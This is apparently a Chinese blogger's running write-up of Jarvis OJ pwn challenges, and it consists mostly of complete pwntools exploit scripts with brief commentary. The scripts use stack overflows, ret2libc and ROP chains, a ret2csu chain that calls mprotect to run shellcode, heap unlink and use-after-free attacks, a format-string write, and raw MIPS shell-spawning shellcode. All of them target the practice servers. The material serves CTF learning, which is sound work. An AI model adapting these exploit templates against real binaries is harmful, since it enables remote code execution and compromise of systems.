最近沉(被)迷(迫)学pwn 看我们的志琦大佬 我就知道 pwn 玩玩就行 但是
不认真学 不行 然后向大佬打听了几个pwn的平台网站 打算 玩一下 这里找到了 Jarvis OJ
然后我 是看那个 做出来的人多 我就做那个·~~~~~~~ 不定期的更新
Tell Me Something
然后这个这道题 其实很简单
栈溢出 没有任何防护
就防护了 一个 dep
直接 栈溢出就行
from pwn import*
io=remote("pwn.jarvisoj.com","9876")
goodgame_addr=0x400620
io.recv()
payload='a'*8*17+p64(goodgame_addr)
io.sendline(payload)
io.recv()
print io.recv()
不得不说 我这次是真滴自闭了
原因就是搞pwn pwn是真滴难搞 但是 不搞不行。。。
然后 这道题我看别人的 博客看了 半天才看懂。。。。
堆溢出 其实我有做过 double free 确实有点懂了 就是 劫持 user的空间 然后替换 system 然后就可以了
https://bbs.pediy.com/thread-218395.htm
https://blog.csdn.net/snowleopard_bin/article/details/82834498
这里是参考链接
其实这个题我一开始是准备自己做的
然后 很傻逼的就是 一开始 忘记了 堆块合并 然后 修改函数 一直报错 说接收不到 信息 我还以为是 sendlineafter 有问题
结果我又改了改 结果还是不对
然后还有坑 就是 他这个 大小多少 然后必须读满 我靠 这个坑 真的。。。。。 是自己傻逼 没有注意 细节
然后 就是 realloc 这个函数很有趣 后面如果地方够大 直接就跟着后面的地方 一起用了
这个函数 提供了方便
其它没有什么可注意的了 这个代码 是根据上面 那个博客上写的 侵权删
不过比较奇怪的是 为啥最后不是 /bin/sh
#coding:utf-8
from pwn import*
io=remote('pwn.jarvisoj.com','9879')
libc = ELF('./libc.so.6')
bin=ELF("pwn")
p_addr=0x00000000006020A8
def add(size,post):
io.sendlineafter("Your choice: ","2")
io.sendlineafter("Length of new post: ",str(size))
io.sendlineafter("Enter your post: ",post)
def edit(index,size,post):
io.sendline("3")
io.recvuntil('number')
io.sendline(str(index))
io.sendlineafter("Length of post: ",str(size))
io.sendlineafter("Enter your post: ",post)
def dele(index):
io.sendlineafter("Your choice: ","4")
io.sendlineafter("Post number: ",str(index))
if __name__=='__main__' :
log.info('go to pwn....')
add(0x80,'a'*0x80)
add(0x80,'a'*0x80)
add(0x80,'a'*0x80)
add(0x80,'a'*0x80)
add(0x80,'a'*0x80)
dele(3)
dele(1)
#先覆盖掉 1的结构 申请0x90的空间 直接占用了 一开始 1的空间
#懂堆的同学都知道下面是 指向下一个 空余堆区的地址 也就是
payload='a'*0x80+'p'*0x10
edit(0,0x90,payload)
#泄露地址
io.sendline("1")
io.recvuntil(0x10*'p')
leak_data = io.recvuntil('\x0a')[:-1]
io.recv()
leak_addr = u64(leak_data + '\x00'*(8-len(leak_data)))
heapbase=leak_addr - 0x19d0
chunk0_addr = heapbase+0x30
payload = p64(0x90) + p64(0x80) + p64(chunk0_addr-0x18) + p64(chunk0_addr-0x10) + 'a'*(0x80-8*4)
payload+=p64(0x80) + p64(0x90+0x90) + '1'*0x70
edit(0,len(payload),payload)
dele(1)
payload = p64(3) + p64(1) + p64(0x100) + p64(chunk0_addr-0x18)
payload += p64(1)+p64(0x8)+p64(bin.got['atoi'])
payload += '\x00'*(0x100-len(payload))
edit(0,len(payload),payload)
io.sendline('1')
io.recvuntil('0. ')
io.recvuntil('1. ')
atoi = io.recvuntil('\x0a')[:-1]
io.recv()
atoi = u64(atoi + '\x00'*(8-len(atoi)))
system = atoi - libc.symbols['atoi']+libc.symbols['system']
edit(1,8,p64(system))
io.sendline("$0")
io.interactive()
Smashes
这个题目咋一看 很简单 就是简单的栈溢出,,
但是 我发现并不用有rop 有flag的 字段 但是需要找到其他的映射的地方
因为
这里会被覆盖掉,,
我们覆盖 angr[0] 这个参数 也就是我们运行程序的路径 当canary 出现了被破坏 他们会有字符串把这个报错信息给打印出来
那么 我们直接利用这个写出脚本 get flag
import sys
from pwn import *
context.log_level='debug'
#context.arch='amd64'
if __name__ =="__main__":
#io=process("./smashes")
io=remote("pwn.jarvisoj.com",9877)
payload='a'*0x218+p64(0x400d20)
io.recvuntil("What's your name? ")
io.sendline(payload)
io.recvuntil("Please overwrite the flag:")
io.sendline("pipixia")
#io.recvline()
print io.recv()
io.interactive()
Backdoor
这道题 只要是知道 0x7FFA4512 这个地址指令是 jmp esp 基本就能分析懂了
后门函数shellcode 也没有什么东西 里面就有一个int 3
知道这些就很简单了
然后这里有一个很明显的栈溢出
直接 让返回值是 0x7FFA4512
然后顺利跳到 shellcode
输入值 就是
栈溢出的长度 ^ 0x6443u 然后 逆推出来的字符串就是 gd
sha一下就ok
Guess
这个题目 就比较离谱了。。。
前面很多东西 没啥东西,,就是开启了一个fork了一个子进程 然后打开了通信,,
然后后面 就发现程序
点开逻辑看一下
其实就论如果对比这个程序的话,,, 没啥用啊 这是个pwn手都知道 用 负数 然后 让他们相等,,
然后呢,,, 获得正确的姿势没有用啊 。。。 拿不到flag 看了一下 九层台巨巨的题解,, 原来是爆破
https://blog.csdn.net/qq_38204481/article/details/80872005
巨巨的题解 这里我直接沾上巨巨的题解就ok了
from pwn import *
import string
context.log_level = 'debug'
payload=""
for i in range(50):
payload+="0"+chr(0x40+128+i)
flag=list(payload)
YES='Yaaaay!'
Flag=''
#Io=process("./guess")
#pwn.jarvisoj.com 9878
Io=remote("pwn.jarvisoj.com",9878)
#Flag=PCTF{49d4310a1085875567932651e559e153cfc8bd27b431}
Io.recvuntil("guess>")
for i in range(45,50):
for j in string.printable:
flag[2*i]=j.encode('hex')[0]
flag[2*i+1]=j.encode('hex')[1]
Io.sendline("".join(flag))
print flag
Re=Io.recvline()
print Re
print Flag
if (YES in Re)==1:
Flag+=j
break
print List2str(flag)
柿子要挑软的捏 我看了一下 这个题过的人很多 我就先看这个题了
Test Your Memory
简单的栈溢出题目。。。 把返回值设置成main 的addr 是一个比较好的习惯,。
from pwn import *
import string
context.log_level = 'debug'
io=remote("pwn2.jarvisoj.com",9876)
#io=process("./memory")
if __name__ =="__main__":
cat_flag_addr=0x80487e0
system_addr=0x080485BD
io.recvuntil(">")
payload='a'*0x17+p32(system_addr)+p32(0x08048677)+p32(cat_flag_addr)
io.sendline(payload)
#print io.recv()
#print io.recv()
io.interactive()
[XMAN]level0
这个 唯一要注意的就是。。。。。。。64位程序
#coding:utf-8
from pwn import*
io=remote('pwn2.jarvisoj.com',9881)
elf=ELF("pwn")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
fun = elf.symbols["callsystem"]
if __name__=='__main__' :
payload=0x80*'a'+0x8*'a'+p64(fun)
io.sendline(payload)
io.interactive()
io.close()
[XMAN]level1
其实这个题 一开始 我感觉挺懵
这个 emmm 这个
等一下 栈可以直接执行shellcode
那么我们 直接写入 shellcode 就行了
这里 已经帮助我们 泄露除了 要读入的 首地址 那么 我们可以把shellcode 写入这个地方 然后
我们知道了 buf 距离栈底有0x88的 字节 写出exp 即可
#coding:utf-8
from pwn import*
io = remote('pwn2.jarvisoj.com', 9877)
shellcode = asm(shellcraft.sh())
if __name__=='__main__' :
io.recvuntil("What's this:")
text=io.recv()[2:-2]
print text
addr=int(text,16)
payload = shellcode + 'a' * (0x88 + 0x4 - len(shellcode)) + p32(addr)
io.send(payload)
io.interactive()
io.close()
[XMAN]level2 那个题 也算是 入门题 把 简单的溢出 只需要 构造溢出点 就可以了
但是 要注意的是 尽量用ELF 获取内容 我一开始用的ida 里面的地址 根本没有看 地址 那个表的 结果 就没有 pwn出来
其它这个题 也没有什么好注意的了
#coding:utf-8
from pwn import*
io = remote('pwn2.jarvisoj.com', 9878)
elf = ELF("pwn")
if __name__=='__main__' :
io.recv()
sys_addr = elf.symbols["system"]
addr=p32(sys_addr)
#bin_addr = elf.search("/bin/sh").next()
payload = 'a' * 0x88+'a'*0x4 +addr+'a'*4+p32(0x0804A024)
io.send(payload)
io.interactive()
io.close()
[XMAN]level3 这个题 也是出来 bug 。。。。
原因是 我在so 搜索的 /bin/sh 忘记加上了so库的基地址 导致 出了错误。。。。。 这是一个巨大的失误
现在搞定了 这个题 其实没有什么好说的 就是利用write 泄露出 write 的地址 然后求出 我们的 的基地址 然后 算出 sysytem 的地址 然后就可以了
#coding:utf-8
from pwn import*
io=remote('pwn2.jarvisoj.com',9879)
elf=ELF("pwn")
libc=ELF("libc-2.19.so")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
fun = elf.symbols["vulnerable_function"]
if __name__=='__main__' :
io.recv()
payload=0x88*'a'+0x4*'a'+p32(plt_write)+p32(fun)+p32(1)+p32(got_write)+p32(4)
io.sendline(payload)
addr=u32(io.recv(4))
print "write_addr="+hex(addr)
sys_addr=addr-libc.symbols["write"]+libc.symbols["system"]
print "sys_addr="+hex(sys_addr)
str_bin=libc.search("/bin/sh").next()
str_bin=addr-libc.symbols["write"]+str_bin
print "str_bin="+hex(sys_addr)
print io.recv()
payload=0x88*'a'+0x4*'a'+p32(sys_addr)+p32(1)+p32(str_bin)
io.sendline(payload)
io.interactive()
io.close()
[XMAN]level4 这个题 很玄学 。。。 不知道为什么 我的sendline('/bin/sh\x00') 不行 而send('/bin/sh\x00') 就可以
其实这个 泄露 system 的题 我也做过DynELF 其实和在网站上直接找 system的地址 其实差不多 下面直接给出exp
#coding:utf-8
from pwn import*
io=remote('pwn2.jarvisoj.com',9880)
elf=ELF("pwn")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
fun = elf.symbols["vulnerable_function"]
bss_addr=0x0804A024
def leak(addr):
payload=0x88*'a'+0x4*'a'+p32(plt_write)+p32(fun)+p32(1)+p32(addr)+p32(4)
io.sendline(payload)
getaddr=(io.recv(4))
return getaddr
if __name__=='__main__' :
d = DynELF(leak, elf = elf)
sys_addr=d.lookup('system','libc')
print hex(sys_addr)
plt_read=elf.symbols["read"]
payload=0x88*'a'+0x4*'a'+p32(plt_read)+p32(fun)+p32(0)+p32(bss_addr)+p32(8)
io.sendline(payload)
io.send('/bin/sh\x00')
payload=0x88*'a'+0x4*'a'+p32(sys_addr)+p32(1)+p32(bss_addr)
io.sendline(payload)
io.interactive()
io.close()
[XMAN]level2 x64
这个题 也就是64位的 其它没有什么可以注意的点 注意一点就是 64位传参是 rdi, rsi, rdx, rcx, r8, r9
我们只需要 找到 pop rdi 我们的值就给了 rdi 然后ret 我们下面给的值 完成 了pwn
ROPgadget --binary pwn1 --only 'pop|ret'|grep 'rdi'
#coding:utf-8
from pwn import*
io=remote('pwn2.jarvisoj.com',9882)
elf=ELF("pwn1")
#plt_write=elf.plt["write"]
#got_write=elf.got["write"]
fun = elf.symbols["system"]
pop_rdi=0x4006b3
bin_str=elf.search("/bin/sh").next()
if __name__=='__main__' :
payload=0x80*'a'+0x8*'a'+p64(pop_rdi)+p64(bin_str)+p64(fun)
print hex(fun)
io.sendline(payload)
io.interactive()
io.close()
这个题 和 x86 其实差不多 我们只需要 把这个 传参的事情搞定就可以了 但是 怎么说呢 先找 pop
ROPgadget --binary pwn --only 'pop|ret'
然后可惜的就是。。。。。 没有找到 我们想要的 pop rdx 也就是第三个参数 。。 读出的数据的长度 不确定 。。。
没有办法 只能写着看看 然后 幸好的是读出来了
#coding:utf-8
from pwn import*
io=remote('pwn2.jarvisoj.com',9883)
elf=ELF("pwn")
libc=ELF("libc-2.19.so")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
fun=elf.symbols["vulnerable_function"]
pop_rdi=0x4006b3
pop_rsi=0x4006b1
bin_str=libc.search("/bin/sh").next()
if __name__=='__main__' :
payload=0x80*'a'+0x8*'a'
payload+=p64(pop_rdi)+p64(1)#第一个参数
payload+=p64(pop_rsi)+p64(got_write)+p64(1)#第二个(没有所以随便)
payload+=p64(plt_write)+p64(fun)
io.recv()
io.sendline(payload)
addr=u64(io.recv(8))
#因为没有找到第三个参数的地方 第三个参数是长度
sys_addr=addr-libc.symbols['write']+libc.symbols['system']
bin_str=addr-libc.symbols['write']+bin_str
payload=0x80*'a'+0x8*'a'
payload+=p64(pop_rdi)+p64(bin_str)
payload+=p64(sys_addr)+p64(1)
io.sendline(payload)
io.interactive()
io.close()
[XMAN]level5
这个题我是真的顶不住 其实mprotect 这个函数 在逆向里面也经常见的 主要是 用到了修改段的权限 smc题型 mmap 看网上说是 内存映射 然后说一下自己的参考链接吧
https://blog.csdn.net/qq_42192672/article/details/82786259
不知道这个 是不是小姐姐 有点强啊 能算法 还能逆向 还能pwn 太强了 OTZ
mprotect(const void *start, size_t len, int prot) 有三个函数 前两个 很好理解 主要就是 第三个
第三个 就是权限 我见很多 smc的题都是 7 可读可写可执行。。。
然后我们就把这个题 也直接设置成7 就好了 既然这个题 不让用system 那么只能 用shellcode
那么 思路其实我也想到了 就是写到bss 段 然后让bss 段 的权限设置成7 就好了
但是我没有想到 泄露出的函数 写到 got表中方便利用 这个我是真的没有想到 还是自己不够骚 wp 明天再写吧
今天不想搞pwn了 pwn pwn pwn到最后一无所有
参考链接 https://blog.csdn.net/qq_38204481/article/details/80984318
这个大佬写的很好
其实思路我也是有的 只不过没有想到
竟然那么好用
text:0000000000400690 loc_400690: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400690 mov rdx, r13
.text:0000000000400693 mov rsi, r14
.text:0000000000400696 mov edi, r15d
.text:0000000000400699 call qword ptr [r12+rbx*8]
.text:000000000040069D add rbx, 1
.text:00000000004006A1 cmp rbx, rbp
.text:00000000004006A4 jnz short loc_400690
.text:00000000004006A6
.text:00000000004006A6 loc_4006A6:
.text:00000000004006AA pop rbx
.text:00000000004006AB pop rbp
.text:00000000004006AC pop r12
.text:00000000004006AE pop r13
.text:00000000004006B0 pop r14
.text:00000000004006B2 pop r15
.text:00000000004006B4 retn
结合起来很完美。。。。
r13 14 15 变成了 第三个参数 第二个参数 第一个参数 然后 r12就变成 call 的地址 真想知道 大佬们 都怎么找出来这个地址的。
#coding:utf-8
from pwn import*
#io=process("pwn")
context(arch='amd64',os='linux')
io=remote('pwn2.jarvisoj.com',9884)
elf=ELF("pwn")
libc=ELF("libc-2.19.so")
plt_write=elf.plt["write"]
got_write=elf.got["write"]
got_read=elf.got["read"]
fun=elf.symbols["vulnerable_function"]
c_addr=0x4006A6
call_addr=0x400690
main_addr=0x40061a
rop1=0x4006aa #pop rdi;re
if __name__=='__main__' :
#泄露出 write地址 得到mprotect的地址
payload='a'*0x88+p64(rop1)+p64(0)
payload+=p64(1)+p64(got_write)
payload+=p64(8)+p64(got_write)+p64(1)
payload+=p64(call_addr)+'A'*56+p64(main_addr)
io.recvuntil("Input:\n")
io.sendline(payload)
write_addr=u64(io.recv(8))
lib_baseaddr=write_addr-libc.symbols["write"]
mprotect_addr=lib_baseaddr+libc.symbols["mprotect"]
#写 shell 到 bss 开始的地方
shellcode = p64(mprotect_addr)+asm(shellcraft.sh())
bss_start = elf.bss()
io.recvuntil("Input:\n")
payload = 'a'*0x88+p64(rop1)+p64(0)
payload += p64(1)+p64(got_read)
payload +=p64(len(shellcode)+1)+p64(bss_start)+p64(0)
payload+=p64(call_addr)+'A'*56+p64(main_addr)
io.sendline(payload)
io.sendline(shellcode)
#将 bss_start 写入got_bss
# 可以开始写利用函数了
# c_addr 0x4006a6
#add rsp,8
#pop rbx
#pop rbp
#pop r12
#pop r13
#pop r14
#pop r15
#retn
#call_addr 0x400690
#mov rdx,r13 the 3rd parm
#mov rsi,r14 the 2nd parm
#mov edi,r15 the 1st parm
#call [r12]
#add rbx,1
#cmp rbx,rbp
#jnz short loc_400690
payload ='a'*0x88+p64(rop1)+p64(0)
payload +=p64(1)+p64(bss_start)
payload +=p64(7)+p64(0x1000)+p64(0x600000)#改变 地址属性
payload +=p64(call_addr)+'a'*56+p64(bss_start+8)#返回值直接为shellcode
io.recvuntil("Input:\n")
io.sendline(payload)
io.interactive()
io.close()
[XMAN]level6 这个题目和 上面的 guestbook2 差不多
就是一个 unlink 的题目 只不过这个是32位的 那个是64位的 然后直接用套模板就可以了
exp脚本
#coding:utf-8
from pwn import*
io=remote("pwn2.jarvisoj.com",9885)
#io=process("./freenote_x86")
context.log_level='debug'
elf=ELF('./freenote_x86')
#libc=ELF("/lib/i386-linux-gnu/libc-2.23.so")
libc=ELF("./libc-2.19.so")
def add(size,content):
io.recvuntil("Your choice: ")
io.sendline("2")
io.recvuntil("Length of new note: ")
io.sendline(str(size))
io.recvuntil("Enter your note: ")
io.sendline(content)
def edit(index,size,content):
io.recvuntil("Your choice: ")
io.sendline("3")
io.recvuntil("Note number: ")
io.sendline(str(index))
io.recvuntil("Length of note: ")
io.sendline(str(size))
io.recvuntil("Enter your note: ")
io.send(content)
def dele(index):
io.recvuntil("Your choice: ")
io.sendline("4")
io.recvuntil("Note number: ")
io.sendline(str(index))
if __name__ =="__main__":
add(0x80,'a'*0x80)#0
add(0x80,'b'*0x80)#1
add(0x80,'c'*0x80)#2
add(0x80,'d'*0x80)#3
add(0x80,'e'*0x80)#4
dele(3)
dele(1)
#dele(6)
#gdb.attach(io)
edit(0,0x88,'a'*0x80+'g'*0x8)
io.recvuntil("Your choice: ")
io.sendline("1")
io.recvuntil("g"*0x8)
heap_addr=u32(io.recv(4))-0xDB0
log.success("heap_addr "+hex(heap_addr))
leak_addr=u32(io.recv(4))
#log.success("leak_addr "+hex(leak_addr))
libc_addr=leak_addr-0x1ad450
log.success("libc_addr "+hex(libc_addr))
#pause()
#gdb.attach(io)
#pause()
#io.recv()
#dele(0)
#dele(2)
#dele(4)
chunk0_addr=heap_addr+0x18
payload=p32(0x90)+p32(0x80)+p32(chunk0_addr-12)+p32(chunk0_addr-8)
payload=payload.ljust(0x80,'A')
payload+=p32(0x80)+p32(0x88+0x88)
payload=payload.ljust(256,"A")
edit(0,len(payload),payload)
#gdb.attach(io)
#pause()
dele(1)
#gdb.attach(io)
#pause()
free_addr=libc_addr+libc.symbols['free']
system_addr=libc_addr+libc.symbols['system']
payload=p32(2)+p32(1)+p32(0x100)+p32(chunk0_addr-12)
payload+=p32(1)+p32(4)+p32(elf.got['free'])
payload+=p32(1)+p32(len("/bin/sh\x00")+1)+p32(heap_addr+0xd30)
payload+='\x00'*(0x100-len(payload))
edit(0,len(payload),payload)
#edit(5,len("/bin/sh;"),"/bin/sh;")
'''io.recvuntil("Your choice: ")
io.sendline("1")
io.recvuntil("1. ")
free_addr=u32(io.recv(4))
log.success("free_addr "+hex(free_addr))
libc_addr=free_addr-libc.symbols['free']
log.success("libc_addr "+hex(libc_addr))'''
edit(1,4,p32(libc_addr+libc.symbols['system']))
edit(2,len("/bin/sh;")+1,"/bin/sh;")
io.sendline("\n")
dele(2)
#edit(0,len(payload),payload)
#log.success("free_addr "+hex(free_addr))
io.interactive()
[XMAN]level6 x64 这个就不做了,。。真的和上面的一模一样= =
然后下面就是
Item Board 这个题目 因为有UAF 并且还有自己的free指针,,
那么用UAF 然后修改free指针 然后拿到flag== exp:
import sys
from pwn import*
context.log_level='debug'
context.arch='amd64'
io=remote("pwn2.jarvisoj.com",9887)
#io=process("./itemboard")
elf=ELF("./itemboard")
#libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libc=ELF("./libc-2.19.so")
def add(name,lens,content):
io.recvuntil('choose:\n')
io.sendline('1')
io.recvuntil('Item name?\n')
io.sendline(name)
io.recvuntil("Description's len?\n")
io.sendline(str(lens))
io.recvuntil('Description?\n')
io.sendline(content)
def List():
io.recvuntil('choose:\n')
io.sendline('2')
def show(index):
io.recvuntil('choose:\n')
io.sendline('3')
io.recvuntil('Which item?\n')
io.sendline(str(index))
def dele(index):
io.recvuntil('choose:\n')
io.sendline('4')
io.recvuntil('Which item?\n')
io.sendline(str(index))
if __name__ =="__main__":
add("pipixia",0x80,'a'*4)
add("keer",0x80,'b'*4)
dele(0)
show(0)
io.recvuntil('Description:')
leak_addr=u64(io.recvuntil('\x0a')[:-1].ljust(8,'\x00'))
log.success("leak_addr "+hex(leak_addr))
libc_addr=leak_addr-0x3c27b8#0x3c4b78
log.success("libc_addr "+hex(libc_addr))
system_addr=libc_addr+libc.sym['system']
add('kepler',0x20,'c'*4)
add('wpsec',0x20,'d'*4)
dele(2)
dele(3)
add('gameover',0x18,'/bin/sh;'+'e'*8+p64(system_addr))
dele(2)
#gdb.attach(io)
#pause()
io.interactive()
fm 这个题 就是简单的格式化字符串。。。。
import sys
from pwn import*
context.log_level='debug'
context.arch='amd64'
#io=process("./fm")
io=remote("pwn2.jarvisoj.com",9895)
#io=process("./itemboard")
elf=ELF("./fm")
if __name__ =="__main__":
x_addr=0x0804A02C
payload=p32(x_addr)+"%11$n"
io.sendline(payload)
io.interactive()
add
程序运行发现是个简单的calc 。。
用了 ret 和jeb 才勉强读懂,,
有判断 需要srand(0x12345678) 然后 rand。。。。
需要绕过这个。 拿到栈地址 然后方便跳到我们的shellcode。。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import CDLL
import sys
context.log_level = "debug"
io = remote("pwn2.jarvisoj.com", 9889)
if __name__ == "__main__":
io.sendlineafter("help.\n", str(2057561479))
io.recvuntil("Your input was ")
stack = int(io.recvline().strip(), 16)
# http://shell-storm.org/shellcode/files/shellcode-80.php
shellcode = "\xff\xff\x10\x04\xab\x0f\x02\x24"
shellcode += "\x55\xf0\x46\x20\x66\x06\xff\x23"
shellcode += "\xc2\xf9\xec\x23\x66\x06\xbd\x23"
shellcode += "\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf"
shellcode += "\x9a\xf9\xbd\x23\x21\x20\x80\x01"
shellcode += "\x21\x28\xa0\x03\xcc\xcd\x44\x03"
shellcode += "/bin/sh\0"
payload = 'a'*8 + shellcode.ljust(0x70 - 8, '0') + p32(stack + 8)
io.sendline(payload)
io.sendline("exit")
io.interactive()
根据看下面链接的代码,, ,
https://github.com/bash-c/pwn_repo/blob/master/jarvisOJ_add/solve.py
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from ctypes import CDLL
import sys
context.binary = "./add"
context.log_level = "debug"
if sys.argv[1] == "l":
io = process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu", "./add"])
elif sys.argv[1] == "d":
io = process(["qemu-mipsel", "-g", "1234", "-L", "/usr/mipsel-linux-gnu", "./add"])
else:
io = remote("pwn2.jarvisoj.com", 9889)
if __name__ == "__main__":
dll = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
dll.srand(0x123456)
key = dll.rand()
io.sendlineafter("help.\n", str(key))
io.recvuntil("Your input was ")
stack = int(io.recvline().strip(), 16)
success("stack -> {:#x}".format(stack))
# http://shell-storm.org/shellcode/files/shellcode-80.php
shellcode = "\xff\xff\x10\x04\xab\x0f\x02\x24"
shellcode += "\x55\xf0\x46\x20\x66\x06\xff\x23"
shellcode += "\xc2\xf9\xec\x23\x66\x06\xbd\x23"
shellcode += "\x9a\xf9\xac\xaf\x9e\xf9\xa6\xaf"
shellcode += "\x9a\xf9\xbd\x23\x21\x20\x80\x01"
shellcode += "\x21\x28\xa0\x03\xcc\xcd\x44\x03"
shellcode += "/bin/sh\0"
payload = '00000000' + shellcode.ljust(0x70 - 8, '0') + p32(stack + 8)
io.sendline(payload)
io.sendline("exit")
io.interactive()